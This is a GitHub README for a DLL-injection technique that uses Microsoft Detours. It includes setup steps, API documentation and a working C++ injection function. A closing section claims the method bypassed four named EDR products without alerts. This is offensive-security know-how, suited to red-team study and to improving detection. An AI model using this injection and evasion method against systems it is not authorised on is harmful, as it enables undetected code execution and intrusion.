Skip to content

zero2504/Detoured-DLL-Injection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

Detoured-DLL-Injection with Microsoft Detours

What is Detours

"Detours is a software package for re-routing Win32 APIs underneath applications. For almost twenty years, has been licensed by hundreds of ISVs and used by nearly every product team at Microsoft." [1]

Detours is a library for instrumenting arbitrary Win32 functions on Windows‑compatible processors. It intercepts Win32 calls by rewriting the target function’s machine code in memory. The Detours package also ships with utilities that let you attach any DLLs or data segments (so‑called payloads) to existing Win32 binaries.

Installation

  1. Clone the vcpkg package manager:
git clone https://github.com/Microsoft/vcpkg.git
cd vcpkg
  1. Build vcpkg itself:
./bootstrap-vcpkg.sh      # .\bootstrap‑vcpkg.bat on Windows
  1. Let vcpkg integrate with your Visual Studio or CMake setup:
./vcpkg integrate install
  1. Install Detours:
vcpkg install detours

Prepare Visual Studio project

  1. Project → Project Properties → C\C++ → Additional Include Directories

c1b4e54aa98a04f23def7c45ea82891d_MD5

  1. Project → Project Properties → Linker → Additional Library Directories

11bb98e068a7dc91d958816a9b364fc0_MD5

DetourCreateProcessWithDllEx

"Create a new process and load a DLL into it. Chooses the appropriate 32-bit or 64-bit DLL based on the target process"[2].

DetourCreateProcessWithDllEx launches a new process in suspended mode (CREATE_SUSPENDED), rewrites the executable’s in‑memory import table so that your DLL is listed first, and then resumes execution. When the process wakes up, the Windows loader brings in that DLL before loading any other imports and finally jumps to the program’s entry point.

  • The altered import table points at export ordinal #1 of your DLL (if that export is missing, the process fails to start)

  • If the bitness of parent and target processes differ (32‑bit ↔ 64‑bit), Detours briefly spins up a matching rundll32.exe helper so it can patch the target’s import table correctly.

  • Once the DLL is loaded you can undo the patch by calling DetourRestoreAfterWith; the information needed for the rollback was copied in advance via DetourCopyPayloadToProcess.

Definition

BOOL DetourCreateProcessWithDllEx(
    _In_opt_    LPCTSTR lpApplicationName,
    _Inout_opt_ LPTSTR lpCommandLine,
    _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_        BOOL bInheritHandles,
    _In_        DWORD dwCreationFlags,
    _In_opt_    LPVOID lpEnvironment,
    _In_opt_    LPCTSTR lpCurrentDirectory,
    _In_        LPSTARTUPINFOW lpStartupInfo,
    _Out_       LPPROCESS_INFORMATION lpProcessInformation,
    _In_        LPCSTR lpDllName,
    _In_opt_    PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW
);

Parameters

lpApplicationName : Application name as defined for CreateProcess API.

lpCommandLine : Command line as defined for CreateProcess API.

lpProcessAttributes : Process attributes as defined for CreateProcess API.

lpThreadAttributes : Thread attributes as defined for CreateProcess API.

bInheritHandles : Inherit handle flags as defined for CreateProcess API.

dwCreationFlags : Creation flags as defined for CreateProcess API.

lpEnvironment : Process environment variables as defined for CreateProcess API.

lpCurrentDirectory : Process current directory as defined for CreateProcess API.

lpStartupInfo : Process startup information as defined for CreateProcess API.

lpProcessInformation : Process handle information as defined for CreateProcess API.

lpDllName : Pathname of the DLL to be insert into the new process. To support both 32-bit and 64-bit applications, The DLL name should end with "32" if the DLL contains 32-bit code and should end with "64" if the DLL contains 64-bit code. If the target process differs in size from the parent process, Detours will automatically replace "32" with "64" or "64" with "32" in the path name.

pfCreateProcessW : Pointer to program specific replacement for the CreateProcess API, or NULL if the standard CreateProcess API should be used to create the new process.

Return value

Returns TRUE if the new process was created; otherwise returns FALSE.

Error codes

See error code returned from CreateProcess.

Detoured DLL Injection

bool SpawnWithDll(const std::wstring& exe)
{
    STARTUPINFOW        si{ sizeof(si) };
    PROCESS_INFORMATION pi{};

    // command line must be mutable buffer
    std::wstring cmd = L"\"" + exe + L"\"";

    BOOL ok = DetourCreateProcessWithDllExW(
        exe.c_str(),           // lpApplicationName 
        &cmd[0],               // lpCommandLine       
        nullptr, nullptr,
        FALSE,
        CREATE_DEFAULT_ERROR_MODE,
        nullptr,               // inherit environment
        nullptr,               // inherit CWD
        &si,
        &pi,
        "C:\\Users\\sample.dll",           // <‑‑ the injected DLL
        nullptr);              // use default CreateProcessW

    if (!ok) {
        SetColor(FOREGROUND_RED);
        std::wcerr << L"[!] DetourCreateProcessWithDllExW failed: "
            << GetLastError() << L"\n";
        return false;
    }

    SetColor(FOREGROUND_GREEN);
    std::wcout << L"[+] Process startet with injected DLL..." << L"\n";
    std::wcout << L"[+] PID:  " << pi.dwProcessId << L"\n";

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return true;
}

Detoured DLL Injection vs EDRs

Now We Reach the Most Exciting Part: EDR Showdown

I tested the approach against:

  • Microsoft Defender ATP (OS: Windows 11 – Bypassed)
  • Palo Alto Cortex XDR (OS: Windows 11 – Bypassed)
  • SentinelOne (OS: Windows 11 – Bypassed)
  • Trend Micro Vision One (OS: Windows 10 – Bypassed)

Overall, none of the solutions raised an alert or blocked the activity.
Interestingly, Defender occasionally misbehaved when dllhost.exe spawned cmd.exe running whoami, but even then it didn’t detect the DLL injection itself.
The Defender event timeline showed no further anomalies, and the other EDRs behaved identically.
There’s clearly more potential here for further experimentation.

Defender ATP:

Detours_Defender_ATP.mp4

Screenshot:

Detours_Defender_DLL

Cortex:

Detours_Cortex.mp4

Screenshot:

Cortex_Screen

SentinelOne:

Detours_SentinelOne.mp4

Screenshot:

SentinelOne_Screen

Trend Vision One:

Detour_TrendVisionOne.mp4

Screenshot:

Trend_Screen

References

[1] https://www.microsoft.com/en-us/research/project/detours/

[2] https://github.com/microsoft/detours/wiki/DetourCreateProcessWithDllEx

[3] https://maldevacademy.com/

About

DLL injection with Microsoft detours

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages